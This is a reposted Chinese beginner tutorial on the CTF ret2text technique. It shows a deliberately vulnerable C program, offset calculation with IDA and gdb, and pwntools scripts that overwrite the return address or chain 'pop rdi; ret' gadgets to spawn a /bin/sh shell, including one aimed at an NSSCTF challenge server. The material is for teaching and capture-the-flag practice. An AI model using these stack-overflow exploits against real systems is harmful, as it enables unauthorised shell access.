ctf pwn基础-3

news2025/7/15 4:37:40

学习pwn的第三天,今天是ret2text。

目录

基础

实例讲解

实例讲解2



基础

ret2text就是ROP中最简单的,然后的意思就是我们利用栈溢出,来修改eip的值,让他输出的时候,输出我们想要执行的本身已有的代码,通常都是/bin/sh、sh、$0,$0可以在自己本地echo一下就知道是什么了

但是64位还是有一些不一样的,他执行函数都会有一个rdi,64位中我们是要更改rdi的值的。

 


实例讲解

这里是我们的示例代码,因为gets中的值,我们是可以自己随便定义的,但是gets可以接收无限的值,所以这里一定是存在溢出,所以通常gets函数的值,我们可以自己定义,通常都是存在溢出的。

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

void secure(void) {
    int secretcode, input;
    srand(time(NULL));

    secretcode = rand();
    scanf("%d", &input);
    if (input == secretcode)
        system("/bin/sh");
}

int main(void) {
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stdout, 0LL, 1, 0LL);

    char s[100];

    puts("shu ru ni de zhi?");
    gets(s);
    printf("yes yes yes");

    return 0;
}
gcc -z noexecstack -no-pie -z norelro -fno-stack-protector 04.c -o 4

 编译好,这里使用checksec查看知道了只开启了NX,这里是64位的,接下来使用ida查看。

 

这里我们发现main中存在gets函数而且,我们可以自定义就注定了溢出,然后接下来就是计算偏移量就是成员变量和rbp一共的值,这里ida已经告诉我们了,这里距离rbp 0x70,就是112,然后64位中的rbp是8个字节,所以一共是120个。

接下来,然后再secure方法中,我们发现了一个后门,这里可以看到这里有了rdi、/bin/sh、system,就是/bin/sh先被压入栈然后被system执行,所以我们可以直接溢出定位到这里就可以了直接获得shell了。

但是注意在ida中获取的偏移量不一定正确,这里去ubuntu中动态调试一下,使用gdb打开,我们首先使用cyclic生成一个200长度的字符串,我们直接run,然后输入值

这里是溢出,但是我们没有获得一个返回的一个错误的地址,就不能使用cyclic计算偏移量了,这里还有一种方法就是直接试。

这里我们使用cyclic生成一个120长度的字符串,输入进去,这里看到他是溢出,但是少一个他就没有溢出了,所以这样也可以确定偏移量。

from pwn import *

context.log_level = 'debug'

#打开一个新的进程
p = process("./4")

#这里是/bin/sh压入栈的那里的真实地址
sh = 0x000000000040127B

payload = b'a'*(0x70+8) + p64(sh)

# 检测到值才发送payload
p.sendlineafter('zhi?\n',payload)

p.interactive()

但是这里可能会遇到用不了的情况,或者真实的时候system和/bin/sh并没有在一起,这样就可以使用另一种方法了,接下来介绍一个很好用的工具ROPgadget,这个是需要自己下的。

这里4是我们编译好的文件不是什么参数哦,然后后面查找/bin/sh

ROPgadget --binary 4 --string "/bin/sh"

 

这里我们就获得了/bin/sh的真实地址了,然后使用ROPgadget来获得rdi的真实地址

ROPgadget --binary 4 --only "pop|ret"

 接下来就可以写脚本了

from pwn import *

context.log_level = 'debug'

# 新建一个进程
p = process("./4")

# 获取文件句柄
elf = ELF('./4')

# 这里直接从plt表直接获得system函数
system_plt = elf.plt['system']

# 这里是我们获得/bin/sh的值
sh = 0x0000000000402007

# 这个是我们获得rdi的值
rdi = 0x0000000000401373

# 这个是main函数ret的地址
ret = 0x0000000000401306

payload = b'a'*(0x70+8) + p64(ret) + p64(rdi) + p64(sh) + p64(system_plt)

p.sendlineafter('zhi?',payload)

p.interactive()                 

其实这里你可以发现和这里好像,溢出以后先return到rdi然后压入/bin/sh,最后使用system函数执行。

 


实例讲解2

NSSCTF pwn的第三题

这里我们先把东西下过来,使用ida看看

main是直接进入func方法的,这里直接去func方法中看看。

这里存在gets而且是我们可以自定义的,这样就是存在溢出了,然后看看偏移量,就是0x30加上rbp的值就是8,0x30+8=56,这里在ubuntu调试看看。

这里看到56个的时候就溢出了,但是少一个就没有溢出了,所以可以确定偏移量就是56了

 

这里我们现在本地调试一下

from pwn import *

p = process("./PWN1")
#p = remote("1.14.71.254",28894)

off = 0x30 + 8

sh = 0x00000000004006BE

payload = b'a'*off + p64(sh)

p.sendlineafter('number.\n',payload)

p.interactive()

 这里看到是直接读取了根目录的flag了,那么将上面remote的注释去掉,然后把process注释掉就可以了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/369132.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

利用Splunk构建SOC-SOC建设漫谈及splunk的角色

零、免喷符 SOC部门小菜鸟一枚&#xff0c;此乃自闭学安全的笔记记录&#xff0c;行文潦草&#xff0c;随性笔记。 通过上一篇的勒索病毒案例&#xff0c;已经了解到Splunk的强大之处。Splunk那么死贵&#xff0c;他的角色是怎样的&#xff0c;又是怎么和安全及SOC联系起来的…

基于BP神经网络的性别识别,BP神经网络详细原理,自编码神经网络代码,神经网络案例之18

目标 背影 BP神经网络的原理 BP神经网络的定义 BP神经网络的基本结构 BP神经网络的神经元 BP神经网络的激活函数&#xff0c; BP神经网络的传递函数 数据 神经网络参数 基于BP神经网络 性别识别的MATLAB代码 效果图 结果分析 展望 背影 男人体内蛋白质比例大&#xff0c;女生…

Windows下 IDEA编译调试 hive2.3.9

Windows下 IDEA编译调试 hive2.3.9 环境 IDEA 2021.2 JDK1.8&#xff08;试过用高版本的JDK17编译&#xff0c;不兼容编译不过&#xff09; 一个Hadoop集群&#xff0c;涉及配置文件core-site.xml&#xff0c;hdfs-site.xml&#xff0c;yarn-site.xml&#xff0c;mapred-sit…

并发与多线程

目录 第一节 并发基本概念及实现&#xff0c;进程&#xff0c;线程基本概念 &#xff08;1&#xff09;并发&#xff0c;进程&#xff0c;线程的基本概念和综述 &#xff08;1.1&#xff09;并发 &#xff08;1.2&#xff09;可执行程序 &#xff08;1.3&#xff09;进程 …

物理服务器与云服务器备份相同吗?

自从云计算兴起以来&#xff0c;服务器备份已经从两阶段的模拟操作演变为由云服务器备份软件执行的复杂的多个过程。但是支持物理服务器和虚拟服务器之间的备份相同吗?主要区别是什么?我们接下来将详细讨论这个问题。 物理服务器与云服务器备份的区别 如果您不熟悉虚拟服务器…

qt QCustomPlot学习

QCustomPlot 是一个基于Qt的画图和数据可视化C控件。QCustomPlot 致力于提供美观的界面&#xff0c;高质量的2D画图、图画和图表&#xff0c;同时为实时数据可视化应用提供良好的解决方案。 该绘图库专注于制作美观、出版物质量高的2D绘图、图形和图表&#xff0c;并为实时可视…

数据库专题

请简洁描述 MySQL 中 InnoDB 支持的四种事务隔离级别名称&#xff0c;以及逐级之间的区别&#xff1f; 默认隔离级别 mysql repeatable-read oracle read-committed 脏读&#xff1a;不可重复读&#xff1a;幻读&#xff1a; CHAR 和 VARCHAR 的区别&#xff1f;…

公众号运营之竞品分析,教你拆解公众号

知己知彼&#xff0c;百战不殆&#xff0c;公众号运营亦是如此。 当运营者只关注自己账号的时候&#xff0c;很容易陷入某个误区中出不来。这个时候就要拓宽我们的视野&#xff0c;多去看看“外面的世界”&#xff0c;不要只局限于自己的一片小天地中。 看看同领域优秀公众号…

stm32f407探索者开发板(二十二)——通用定时器基本原理讲解

文章目录一、三种定时器的区别二、通用定时器特点2.1 功能特点描述2.2 计数器模式三、通用定时器工作过程四、附一、三种定时器的区别 STM32F40x系列总共最多有14个定时器 三种&#xff08;4&#xff09;STM32定时器区别 二、通用定时器特点 2.1 功能特点描述 STM3 F4的通…

PHY设备驱动

1. 概述 MAC控制器的驱动使用的是platform总线的连接方式&#xff0c;PHY设备驱动是基于device、driver、bus的连接方式。 其驱动涉及如下几个重要部分&#xff1a; 总线 - sturct mii_bus (mii stand for media independent interface) 设备 - struct phy_device 驱动 - struc…

零日漏洞发展格局及防御策略

在过去的一年半中&#xff0c; 在野利用的零日漏洞数量持续飙升 &#xff0c;这些软件制造商尚不知晓的漏洞正在被国家行为体黑客组织和勒索软件团伙滥用。 今年上半年&#xff0c;Google Project Zero统计了近20个零日漏洞&#xff0c;其中 大部分针对微软、苹果和谷歌构建的…

【《C Primer Plus》读书笔记】第13章:文件输入/输出

【《C Primer Plus》读书笔记】第13章&#xff1a;文件输入/输出13.1 与文件进行通信13.1.1 文件是什么13.1.2 文本模式和二进制模式13.1.3 I/O的级别13.1.4 标准文件13.2 标准I/O13.3 一个简单的文件压缩程序13.4 文件I/O&#xff1a;fprintf()、fscanf()、fgets()和fputs()13…

【LVGL】学习笔记--(1)Keil中嵌入式系统移植LVGL

一 LVGL简介最近emwin用的比较烦躁&#xff0c;同时被LVGL酷炫的界面吸引到了&#xff0c;所以准备换用LVGL试试水。LVGL(轻量级和通用图形库)是一个免费和开源的图形库&#xff0c;它提供了创建嵌入式GUI所需的一切&#xff0c;具有易于使用的图形元素&#xff0c;美丽的视觉效…

极光笔记 | 埋点体系建设与实施方法论

PART 01 前 言随着网络技术的发展&#xff0c;从粗犷型到精细化运营型&#xff0c;再到现在的数字化运营&#xff0c;数据变得越来越细分和重要&#xff0c;不仅可以进行策略调整&#xff0c;还可以实现自动化的精细化运营。而数据价值的起点就是埋点&#xff0c;只有合理地埋点…

[计算机网络(第八版)]第一章 概述(学习笔记)

1.1 计算机网络在信息时代中的作用 21世纪是以网络为核心的信息时代&#xff0c;21世纪的重要重要特征&#xff1a;数字化、网络化与信息化。 三大类网络 电信网络&#xff1a;向用户提供电话、电报、传真等服务&#xff1b;有线电视网络&#xff1a;向用户传送各种电视节目&am…

zabbix4.0-使用zabbix监控别的主机-使用模板来创建图形

目录 1、 配置zabbix的yum源 2、下载zabbix-agent 3、配置zabbix-agent的配置文件 4、关闭防火墙&#xff0c;selinux 5、重启zabbix-agent 6、连通性测试&#xff0c;在zabbix-server服务器上面使用zabbix_get获取zabbix-agent服务器上的数据 7、在zabbix web端配置zab…

Windows 11 22H2 中文版、英文版 (x64、ARM64) 下载 (updated Feb 2023)

Windows 11, version 22H2&#xff0c;2023 年 2 月 更新 请访问原文链接&#xff1a;https://sysin.org/blog/windows-11/&#xff0c;查看最新版。原创作品&#xff0c;转载请保留出处。 作者主页&#xff1a;www.sysin.org 全新推出 Windows 11 全新 Windows 体验&#x…

考PMP的用处有哪些?备考攻略+资料分享

说到底&#xff0c;考PMP就是为了给工作提供便利&#xff0c;你考了之后会用它&#xff0c;将学习的东西运用到工作中&#xff0c;比如提高项目完成率&#xff0c;能升职加薪啊等等&#xff0c;那自然很是有用的。 不用&#xff0c;那就只是一张当摆设的纸&#xff0c;当然&am…

项目经理如何度量项目?及项目度量指标实例【静说】

度量项目是项目经理的一个重要职责&#xff0c;通过度量项目&#xff0c;项目经理可以了解项目的进展情况&#xff0c;及时发现问题并采取相应的措施&#xff0c;以确保项目能够按时、按质、按预算完成。 分享给大家一些常见的项目度量指标&#xff1a; 1. 项目进度&#xff…

docker-compose 简单配置php和nginx及注意事项

docker-compose.yml内容&#xff1a; /docker/web/config/nginx/conf/default.conf内容&#xff1a; server { listen 80; server_name localhost; root /usr/share/nginx/html; error_log /var/log/nginx/localhost.log; location / { try_files $…